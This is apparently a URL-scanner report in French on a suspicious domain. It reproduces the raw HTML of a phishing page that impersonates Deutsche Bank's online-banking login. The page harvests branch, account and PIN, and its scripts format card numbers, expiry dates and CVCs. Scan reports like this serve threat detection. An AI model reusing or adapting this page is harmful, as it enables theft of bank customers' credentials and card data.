- ID de l'analyse :
- 952af39e-4cea-47a7-99ba-c0a477018c77Terminée
- URL soumise :
- https://db-91748.xyz/
- Fin du rapport :
Liens : 0 trouvé(s)
Liens sortants identifiés à partir de la page
Variables JavaScript : 14 trouvée(s)
Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel
Nom | Type |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
staticSrcDir | string |
staticSrcCommonsDir | string |
checkCapsLock | function |
disableSubmitButton | function |
$ | function |
jQuery | function |
doNext | function |
Messages de journal de console : 3 trouvé(s)
Messages consignés dans la console web
Type | Catégorie | Enregistrement |
---|---|---|
verbose | dom |
|
error | network |
|
error | network |
|
HTML
Le corps HTML de la page en données brutes
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de"><head>
<script type="text/javascript" id="js-static-content-variables">
// Declare all static resources variables staticSrcDir (for default) and staticSrcCommonsDir (for commons)
var staticSrcDir = "/trxmcontent/23.09.0.0_PR10-c8e5a06209/global/default";
var staticSrcCommonsDir = "/trxmcontent/23.09.0.0_PR10-c8e5a06209/global/common";
</script>
<title>Onlinebanking und Brokerage der Deutschen Bank</title>
<!-- <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /> -->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta http-equiv="expires" content="0">
<meta name="instance" content="pnta151">
<meta name="description" content="Erledigen Sie Ihre täglichen Bankgeschäfte flexibel und bequem mit dem Onlinebanking der Deutschen Bank.">
<link rel="shortcut icon" type="image/ico" href="assets/images/favicon.ico">
<link rel="stylesheet" type="text/css" href="assets/css/styles.css" media="screen, print">
<link rel="stylesheet" type="text/css" href="assets/css/print.css" media="print">
<style>
body#login #verimiContainer #verimiLogin .button {
background: url(assets/images/logo_verimi.svg),-webkit-linear-gradient(-23deg,#0d9571 0,#0d9571 42px,#00c382 42px,#00c382 100%);
background: url(assets/images/logo_verimi.svg),-ms-linear-gradient(-15deg,#0d9571 0,#0d9571 42px,#00c382 42px,#00c382 100%);
background: url(assets/images/logo_verimi.svg),linear-gradient(113deg,#0d9571 0,#0d9571 42px,#00c382 42px,#00c382 100%);
}
#DTdismiss #advertisingSpace .advice .advertisingSpaceAction li a, #DTstart #advertisingSpace .advice .advertisingSpaceAction li a, .OPRA_portal_teaserAction a, a.nextStep, a.pushContract, input.activate, input.confirm, input.nextStep, input.nextStepDisabled, input.pushContract {
padding-right: 2.625em !important;
background-image: url(assets/images/bt_primary_default.png)!important;
background-position: 91.5% center;
background-position: right 1.125em center;
background-repeat: no-repeat;
background-size: 13px 11px;
}
</style>
<style>
#dbHide {
-moz-animation: cssAnimation 0s ease-in 10s forwards;
-webkit-animation: cssAnimation 0s ease-in 10s forwards;
-o-animation: cssAnimation 0s ease-in 10s forwards;
animation: cssAnimation 0s ease-in 10s forwards;
-webkit-animation-fill-mode: forwards;
animation-fill-mode: forwards;
}
@keyframes cssAnimation {
to {
width:0;
height:0;
overflow:hidden;
}
}
@-webkit-keyframes cssAnimation {
to {
width:0;
height:0;
visibility:hidden;
}
}
@keyframes showBlock {
to { visibility: visible; }
}
.dbVisible {
animation: showBlock 0s 10s forwards;
visibility: hidden;
}
.dbVisible {
animation: showBlock 0s 10s forwards;
visibility: hidden;
}
@keyframes showBlock {
to { visibility: visible; }
}
#headerContainer {
position: relative;
background: #fff url(assets/images/bg_headerContainer.svg) 0 0 no-repeat!important;
background-size: auto;
margin: 1.625em 0 0 0;
background-size: 250px 39px!important;
}
</style>
</head>
<body id="login" class="noTopicContainer">
<div id="rollContainer">
<div id="globalContainer"><a name="globalContainer"></a>
<div id="serviceNavigation">
<ul>
<li class="access"><a href="#contentContainer">Zum Inhalt springen</a></li>
<li class="access"><a href="#" accesskey="0">Zur <span xml:lang="en" lang="en">Accesskeys</span>-Übersicht</a></li>
</ul>
</div> <!-- End of serviceNavigation -->
<div id="headerContainer">
<p id="logoContainer"><img src="assets/images/logo_db.gif" width="267" height="76" title="Logo Deutsche Bank" alt="Logo Deutsche Bank"></p>
<div id="metaNavigation">
<h4 class="access">Sprachauswahl und Filialsuche</h4>
<ul>
<li><a href="#">English Version</a></li>
<li><a href="#" title="Neues Fenster: Finden Sie eine Filiale in Ihrer Nähe">Ihre Filiale</a></li>
</ul>
</div> <!-- End of metaNavigation -->
</div>
<!-- End of headerContainer -->
<div id="locationContainer"></div> <!-- End of locationContainer -->
<div id="folderContainer">
<div id="topicContainer">
<div class="additionalInfo onlinebanking">
<h4><span class="nowrap"> <span xml:lang="en" lang="en">OnlineBanking</span></span></h4>
<p>Erledigen Sie Ihre täglichen Bankgeschäfte flexibel und bequem mit unserem <span class="nowrap"> <span xml:lang="en" lang="en">OnlineBanking</span>.</span></p>
<ul>
<li><a target="_blank" href="#" title="Neues Fenster: Rund ums Online-Banking">Rund ums Online-Banking</a></li>
<li><a target="_blank" href="#" title="Neues Fenster: Demokonto testen">Demokonto testen</a></li>
<li><a target="_blank" href="#" title="Neues Fenster: Konto eröffnen">Konto eröffnen</a></li>
<li><a target="_blank" href="#" title="Neues Fenster: Konto für Online- und Telefon-Banking freischalten">Konto für Online- und Telefon-Banking freischalten</a></li>
<li><a target="_blank" href="#" title="Neues Fenster: MobileBanking">MobileBanking</a></li>
</ul>
</div>
<div class="additionalInfo help">
<h4>Hilfe</h4>
<ul>
<li><a target="_blank" href="#" title="Neues Fenster: Häufig gestellte Fragen">Häufig gestellte Fragen</a></li>
<li><a target="_blank" href="#" title="Neues Fenster: Download-Center">Download-Center</a></li>
<li><a target="_blank" href="#" title="Neues Fenster: Technischer Support">Technischer Support</a></li>
<li><a target="_blank" href="#" title="Neues Fenster: Sicherheit">Sicherheit</a></li>
</ul>
</div>
</div> <!-- End of topicContainer -->
<!-- Rendering of content container and footer container -->
<script type="text/javascript">
/* Check if the Caps-Lock key is on. */
/* If so, make the 'capsLockMessage' element visible */
function checkCapsLock( e ) {
var myKeyCode=0;
var myShiftKey=e.shiftKey || ( e.modifiers && ( e.modifiers & 4 ) );
// Internet Explorer && Mozilla
if ( window.event ) {
// Mozilla
if (e.charCode){ myKeyCode=e.charCode;}
// Internet Explorer
else { myKeyCode=e.keyCode;}
// Netscape 4
} else if ( e.which ) {
myKeyCode=e.which;
}
// Upper case letters are seen without depressing the Shift key, therefore Caps Lock is on
if ( ( myKeyCode >= 65 && myKeyCode <= 90 ) && !myShiftKey ) {
document.getElementById('capsLockMessage').style.visibility = 'visible';
// Lower case letters are seen while depressing the Shift key, therefore Caps Lock is on
} else if ( ( myKeyCode >= 97 && myKeyCode <= 122 ) && myShiftKey ) {
document.getElementById('capsLockMessage').style.visibility = 'visible';
// Special characters in number keys are type if you have Caps Lock enable in German keyboards
} else if( (myKeyCode == 33 || myKeyCode == 34 || myKeyCode == 36 || myKeyCode == 37 ||
myKeyCode == 38 || myKeyCode == 40 || myKeyCode == 41 || myKeyCode == 47
|| myKeyCode == 61 || myKeyCode == 167 || myKeyCode == 183 || myKeyCode == 64
|| myKeyCode == 35 || myKeyCode == 94 || myKeyCode == 42 ) && !myShiftKey){
document.getElementById('capsLockMessage').style.visibility = 'visible';
// Numbers typed and the shift is pressed, means that in a German keyboard you have the Caps Lock enabled
} else if ( (myKeyCode >= 48 && myKeyCode <= 57) && myShiftKey){
} else{
document.getElementById('capsLockMessage').style.visibility = 'hidden';
}
}
function disableSubmitButton() {
var elem = document.getElementById("action").firstElementChild;
elem.className += " disabled";
elem.disabled = "disabled";
}
</script>
<style type="text/css">
body#login #verimiContainer #verimiRegistrationNote {
font-size: 0.93em;
color: #7a7a7a;
padding-top: 0.5em;
}
</style>
<div id="contentContainer"><a name="contentContainer"></a>
<!-- page LoginPage -->
<div id="pathNavigation" class="access"><p><strong>Sie sind hier:</strong> Kunden-Login</p></div>
<h1>Herzlich willkommen!</h1>
<div id="mainContent">
<div class="formContainer">
<form id="loginForm" method="post" action="">
<input type="hidden" name="_token" value="OML8YJCoipL2TD8Lf8CJegjlDMNXv30OhPK0VcOg">
<table cellspacing="0" class="roll layout">
<tbody><tr class="subsequentXS">
<td class="nowrap rgtPadding">
<p><label for="branch"><strong>Filiale</strong><br>(3-stellig)</label></p>
<p><input type="text" name="filiale" maxlength="3" value="" onkeyup="doNext(this, event);" onkeypress="checkCapsLock(event);" id="branch" required=""></p>
</td>
<td class="nowrap rgtPadding">
<p><label for="account"><strong>Konto</strong><br>(7-stellig)</label></p>
<p><input type="text" name="konto" maxlength="7" value="" onkeyup="doNext(this, event);" onkeypress="checkCapsLock(event);" id="account" required=""></p>
</td>
<td class="nowrap rgtPadding">
<p><label for="subAccount"><strong>Unterkonto</strong><br>(2-stellig)</label></p>
<p><input type="text" name="unterkonto" maxlength="2" value="00" onkeyup="doNext(this, event);" onkeypress="checkCapsLock(event);" id="subAccount" required=""></p>
</td>
<td class="nowrap roll">
<p><label for="pin"><strong><acronym title="Persönliche Identifikationsnummer">PIN</acronym></strong><br>(5-stellig)</label></p>
<p><input type="password" name="pin" maxlength="5" value="" onkeypress="checkCapsLock(event);" id="pin" required=""></p>
</td>
</tr>
<tr id="capsLockMessage" style="visibility:hidden">
<td colspan="4">
<div class="errorMsg"><label for="">Bitte beachten Sie, daß die "Hochstell-Taste" (Capslock) aktiv ist.</label></div>
</td>
</tr>
<tr class="subsequentS">
<td class="rgtPadding nowrap"><label for="proxyLogins">Direkt zu ...</label></td>
<td colspan="3">
<select name="quickLink" id="proxyLogins" class="roll"><option value="DisplayFinancialOverview">... photoTAN-Verifizierung</option>
</select>
</td>
</tr>
<tr>
<td> </td>
</tr>
<tr class="subsequentS">
<td colspan="4">
<table cellspacing="0" class="layout" id="phishing">
<tbody><tr>
<td id="distractor"><strong>WICHTIG</strong></td>
<td id="text">Bitte beachten Sie: Die Deutsche Bank fordert pro<br> Auftrag nie mehrere Transaktionsnummern (<acronym title="Transaktionsnummer">TAN</acronym>)!</td>
<td id="action"><input type="submit" name="execute_now" value="Login ausführen" class="button nextStep"></td>
</tr>
</tbody></table>
</td>
</tr>
</tbody></table>
<div id="verimiContainer">
<h3>Achten Sie stets auf vollständige und korrekte Angaben Ihrerseits.</h3>
<p>Um diesen Vorgang erfolgreich durchführen zu können, wird eine absolute Validität Ihrer Angaben vorausgesetzt.</p>
</div>
</form>
</div>
<script type="text/javascript" language="JavaScript">cmsStore.setState({ gvoId: "Login", page: "LoginPage" });</script><cms-snippet position="50" customergroup="dbag_peb_oth"></cms-snippet>
</div>
</div>
<div id="footerContainer">
<div id="pageFeatures">
<div id="fontSizer">
<h4>Schriftgröße</h4>
</div> <!-- End of fontSizer -->
</div> <!-- End of pageFeatures -->
</div>
<script type="text/javascript">setFocus('branch');</script>
</div> <!-- End of folderContainer -->
<div class="access">
<ul>
<li><a href="#globalContainer">Zum Anfang der Seite springen</a></li>
</ul>
</div>
</div> <!-- End of globalContainer -->
</div> <!-- End of rollContainer -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js" integrity="sha512-v2CJ7UaYy4JwqLDIrZUI/4hqeoQieOmAZNXBeQyjo21dadnwR+8ZaIJVT8EE2iyI61OV8e6M8PP2/4hpQINQ/g==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script>
function doNext(el, e){
if (!(e.keyCode==16 || (e.keyCode==9) || (e.keyCode==37) || (e.keyCode==38) || (e.keyCode==39) || (e.keyCode==40))) // to capture tab key press
{
if (el.value.length < el.getAttribute('maxlength')) return;
setFocusNext(el);
}
}
function setFocusNext(el){
var f = el.form;
var els = f.elements;
var x, nextEl;
for (var i=0, len=els.length; i<len; i++){
x = els[i];
if (el == x && (nextEl = els[i+1])){
if(nextEl.getAttribute('id') == 'subAccount' && i < len-1) nextEl = els[i+2];
if (nextEl.focus) nextEl.focus();
}
}
}
</script>
<script type="text/javascript">
var timeLeft = 10;
var setTimer = setInterval(function(){
timeLeft--;
document.getElementById("spktimer").textContent = timeLeft;
if(timeLeft <= 0)
clearInterval(setTimer);
},1000);
</script>
<script>
$('#obCCNumber').on('input propertychange', function() {
var node = $('#obCCNumber')[0];
var node = $('#obCCNumber')[0];
var cursor = node.selectionStart;
var lastValue = $('#obCCNumber').val();
var formattedValue = formatCardNumber(lastValue);
$('#obCCNumber').val(formattedValue);
if(cursor === lastValue.length) {
cursor = formattedValue.length;
if($('#obCCNumber').attr('data-lastvalue') && $('#obCCNumber').attr('data-lastvalue').charAt(cursor - 1) == " ") {
cursor--;
}
}
if (lastValue !== formattedValue) {
if(lastValue.charAt(cursor) == " " && formattedValue.charAt(cursor - 1) == " ") {
cursor++;
}
}
node.selectionStart = cursor;
node.selectionEnd = cursor;
$('#obCCNumber').attr('data-lastvalue', formattedValue);
});
function formatCardNumber(value) {
var value = value.replace(/\D/g, '');
var formattedValue;
var maxLength;
if ((/^3[47]\d{0,13}$/).test(value)) {
formattedValue = value.replace(/(\d{4})/, '$1 ').replace(/(\d{4}) (\d{6})/, '$1 $2 ');
maxLength = 17;
} else if((/^3(?:0[0-5]|[68]\d)\d{0,11}$/).test(value)) {
formattedValue = value.replace(/(\d{4})/, '$1 ').replace(/(\d{4}) (\d{6})/, '$1 $2 ');
maxLength = 16;
} else if ((/^\d{0,16}$/).test(value)) {
formattedValue = value.replace(/(\d{4})/, '$1 ').replace(/(\d{4}) (\d{4})/, '$1 $2 ').replace(/(\d{4}) (\d{4}) (\d{4})/, '$1 $2 $3 ');
maxLength = 19;
}
$('#obCCNumber').attr('maxlength', maxLength);
return formattedValue;
}
</script>
<script>
$(document).ready(function () {
// Allow only numbers in input fields
function allowOnlyNumbers(selector, length) {
$(selector).on('input', function () {
let value = $(this).val().replace(/\D/g, ''); // Remove non-numeric characters
if (length) {
value = value.slice(0, length); // Limit length if specified
}
$(this).val(value);
});
}
// Format and validate Exp Month (MM)
allowOnlyNumbers('#exp_month', 2);
$('#exp_month').on('blur', function () {
let value = $(this).val();
if (value.length === 1) {
value = '0' + value; // Add leading zero for single digits
}
if (parseInt(value, 10) < 1 || parseInt(value, 10) > 12) {
alert('Bitte geben Sie einen gültigen Monat ein (01-12).');
$(this).val('');
} else {
$(this).val(value);
}
});
// Format and validate Exp Year (YY)
allowOnlyNumbers('#exp_year', 2);
$('#exp_year').on('blur', function () {
let value = $(this).val();
if (value.length !== 2) {
alert('Bitte geben Sie ein gültiges Jahr ein (z.B. 24 für 2024).');
$(this).val('');
}
});
// Format and validate CVC (XXX)
allowOnlyNumbers('#cvc_number', 3);
$('#cvc_number').on('blur', function () {
if ($(this).val().length !== 3) {
alert('Bitte geben Sie eine gültige CVC-Nummer ein (3 Ziffern).');
$(this).val('');
}
});
});
</script>
</body></html>